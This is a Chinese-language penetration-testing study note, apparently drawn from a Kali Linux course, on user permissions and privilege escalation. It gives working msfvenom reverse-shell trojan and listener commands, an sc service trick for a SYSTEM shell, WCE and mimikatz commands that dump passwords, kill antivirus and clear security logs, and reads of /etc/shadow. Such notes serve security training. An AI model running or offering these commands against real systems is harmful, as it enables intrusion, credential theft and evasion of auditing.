笔记内容参考安全牛课堂苑房弘老师的Kali Linux渗透测试教程
文章目录
一、关于权限
对不同的用户设置合适的权限是保证多任务操作系统安全的重要一环,取得shell并拿到系统权限,就相当于完全掌握了攻击目标的控制权。设置用户权限的一个基本原则即:设置最少的服务,分配最小的权限。不同操作系统设置的用户/用户组有所不同,常见的用户/用户组具体如下:
(一)WindowsNT
-
Administrators
管理员组,默认情况下,Administrators中的用户基本上对计算机/域有不受限制的完全访问权,分配给该组的默认权限允许对整个系统进行完全控制。 -
SYSTEM
拥有比Administrators还高的权限,但是这个组不允许任何用户的加入,在察看用户组的时候,它也不会被显示出来。系统和系统级的服务运行都是SYSTEM权限。 -
Power User
高级用户组,仅次于Administrators组的权限,可以执行除了为Administrators组保留任务外的其他任何操作系统任务。 -
Users
普通用户组,这个组的用户默认权限不允许成员修改操作系统的设置或用户资料,Users组提供了一个比较安全的程序运行环境,新建用户默认在这个分组。 -
Guests
来宾组,默认与Users组有同等甚至更低的访问权限。 -
Everyone
所有的用户,计算机上的所有用户都属于这个组。
Windows系统安装后默认用户为Administrators分组,选择任何一个文件或磁盘右键选择属性->安全
,在组和用户名中就可以配置文件的访问权限。不同的Window版本用户组配置不同,如Windows家庭版没有Power User分组。
(二)Linux
在Linux系统用户的角色是通过UID和GID识别的,UID是系统用户的唯一有效标识。UID分为三类:
-
root
其UID和GID均为0,拥有最高的管理权限,对计算机有不受限制的完全访问权。 -
普通用户
UID(500~65535),一般是由具备root权限的运维人员添加,作为一般用户登录使用。 -
服务用户
UID(1~499),与真实用户相区分,一些服务用户安装系统后即存在,基于安全考虑,服务用户默认不能登录系统,他们的存在主要是方便系统管理、提供服务,例如系统默认的bin、sys、nodoby、mail用户等。
chmod
命令修改文件读/写/执行权限
eg:
chmod g+x,o-x example.txt
chmod 755 example.txt
# umask按照rwx的顺序,权重为421
# umask为0022,第一个0为特殊权限,022为普通权限
# 即默认新建可执行文件权限755,新建不可执行文件权限644
chown
命令修改文件所有者/所有组
chown root:rgroup example.txt
二、提权思路
在渗透测试过程中往往一开始取得的是一个普通用户的shell,这时要想进一步操作要从普通用户权限提权至管理员或者SYSTEM权限,这时需要利用系统漏洞、软件漏洞或配置不当进行提权,关于漏洞的信息可以从以下几个途径获取:
-
Metasploit
基于Metasploit相应模块进行漏洞利用(搜索模块如:search ms14-068
) -
Exploit-DB
在Kali中searchsploit
或在 Exploit-DB官网 搜索Exp(如:ms14-068),在Exp基础上进行漏洞利用(可能需要对Exp进行修改、编译等) -
漏洞分析网站
网上有很多漏洞分析的网站,公布有最新漏洞信息、PoC等,如:
知道创宇的漏洞分享学习平台:Seebug
国家信息安全漏洞共享平台:CNVD
非常好用的漏洞信息公开平台:CX Security -
Microsoft官方文档
微软安全公告是微软官方公布的漏洞信息文档,包括MS编号漏洞的详细情况及相应补丁信息,最新的CVE漏洞信息可以在安全更新指南中了解
常见的提权思路总结如下:
(一)Webshell提权
Webshell的权限取决于目标服务器上运行Web服务账户的权限,有时获取Webshell后需要进一步提权,方法参考:获取Webshell的常用方法(二)
(二)MSF提权
有时利用MSF拿到的shell是Network Service权限,这时需要进一步提权,方法如下:
首先利用msfvenom
生成木马,如:
# 生成windows x64平台meterpreter马
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -f exe -o meter64.exe
# 生成windows x86平台meterpreter马
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -f exe -o meter32.exe
然后在MSF主机开启端口监听:
# 接windows x64平台meterpreter马
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.11.151
set LPORT 4444
run
利用webshell等途径将生成的msf木马上传到目标服务器并执行,将shell反弹到MSF主机上进行本地提权。基于已经获得的session,使用post/multi/recon/local_exploit_suggester
模块(可以通过search suggest
查找)可以很方便检测目标主机的本地提权漏洞,配置session然后运行,如下所示,该模块已列举出检测出的本地提权漏洞:
最后对提权漏洞利用模块逐一尝试,成功提权后会重新开启一个session。
注意:通过新建管理员账户提权,需要反弹shell,有时虽然将meterpreter成功提权至SYSTEM权限,但是不能成功反弹shell,或者反弹的shell权限仍是Network Service,这时需要利用migrate
命令将session的pid迁移至高权限的其他进程,如:lsass.exe、winlogon.exe,然后就可以成功反弹shell了。
三、基于提权
一旦取得Administrator甚至System权限后,可操作的空间就大了很多,可以窃取用户密码、修改系统配置等。
注意:Windows系统登录后SAM文件是被锁死的,不能复制、移动,正常情况下打开是乱码或空白,所以读取SAM文件要通过登录并提权后使用特殊工具,或者采取物理接触等非登录手段获取;而Linux相对而言则简单很多,取得root权限后直接读取/etc/shadow
、/etc/passwd
就可以获取用户账号及HASH。
(一)Windows
1.利用服务管理命令sc提权
- 目标:Administrator->System
- 思路:利用系统服务都是System权限的特点,新建服务
- 条件:已经取得管理员权限cmd
sc create syscmd binPath= "cmd /K start" type= interact type= own
# 创建syscmd服务,服务执行命令"cmd /K start",交互式运行
sc start syscmd
# 开启服务
注:在开始菜单或者在 C:\windows\system32\
通过管理员权限运行cmd,只是临时取得管理员权限,进程的的所有者仍然是普通账户,可以在cmd中用whoami
命令查看,也可以通过任务管理器查看进程所属用户。
2.Windows登录认证过程
WINLOGON进程提供认证,计算HASH值,交由LSASS进程,LSASS进程会调用系统内核相应的安全模块,将HASH与SAM库进行比对,比对成功则登入操作系统。
图1 Windows登录认证过程
注:WDigest 是在 Windows XP 操作系统中引入的摘要认证机制,可以用来对HTTP、SASL等协议进行身份验证,但这种机制将明文密码保存在内存中,很不安全。
3.wce
- 目标:获取用户登录凭证
- 条件:已经取得管理员权限cmd
WCE(Windows Credentical Editor)(仅支持Windows XP, 2003, Vista, 7, 2008 and 8),从内存中读取认证信息,WCE会先以安全模式运行,如果发生错误则会以注入进程等非安全形式运行,非安全形式容易对操作系统造成破坏。
在Kali中有wce工具:/usr/share/windows-resources/wce
将wce拷贝至Windows中,在wce文件夹下以管理员权限运行cmd:
# wce-universal会根据系统自动选择32或64位程序运行
wce-universal.exe -l / -lv
# -l:列出已经登录的用户凭证(NTLM HASH值)
# -v:详细输出,列出hash id、读取模式等
wce-universal.exe -d
# -d:删除已登录用户的凭证
wce-universal.exe -w
# -w:列出WDigest认证模块保存在内存中的明文密码
将WDigest关闭: 在注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
中的Security Packages
项,删除wdigest
、tspk
4.mimikatz
- 目标:获取用户登录凭证
- 条件:已经取得管理员权限cmd
在Kali中有mimikatz工具:/usr/share/windows-resources/mimikatz
将wce拷贝至Windows中,在wce文件夹下以管理员权限运行cmd:
在mimikatz交互界面,输入::
可以看到mimikatz有privilege、sekurlsa、ts、process、event 等20多种模块,每个模块下又分为多个子模块,具体使用如:
mimikatz # 进入mimikatz交互界面
:: # 命令提示
privilege::debug # 使用mimikatz的第一步:提权到debug模式
sekurlsa::minidump <dump_file> # 从dump转储文件中读取信息
# 常应用于:
# step1.利用lsass.exe创建转储文件
# step2.然后用sekurlsa::minidump读取转储文件信息
# step3.最后用sekurlsa::logonPasswords full读取转储文件中的密码
sekurlsa::logonPasswords # 列出所有登录用户的凭证
sekurlsa::logonPasswords full # 获取内存中所有保存的明文密码
sekurlsa::wdigest # 列出wdigest模块在内存中保存的明文密码
sekurlsa::tspkg # 获取tspkg用户信息及密码
process::list # 列出当前进程
process::suspend # 挂起进程,如杀毒软件
process::stop # 关闭进程
ts::multirdp # 允许多个用户同时进行远程桌面控制
event::clear # 清除操作系统中的安全日志
event::drop # 不再产生新的日志
(二)Linux
取得root权限后查看用户账号信息、修改系统配置等:
cat /etc/passwd
cat /etc/shadow
vi /etc/resolv.conf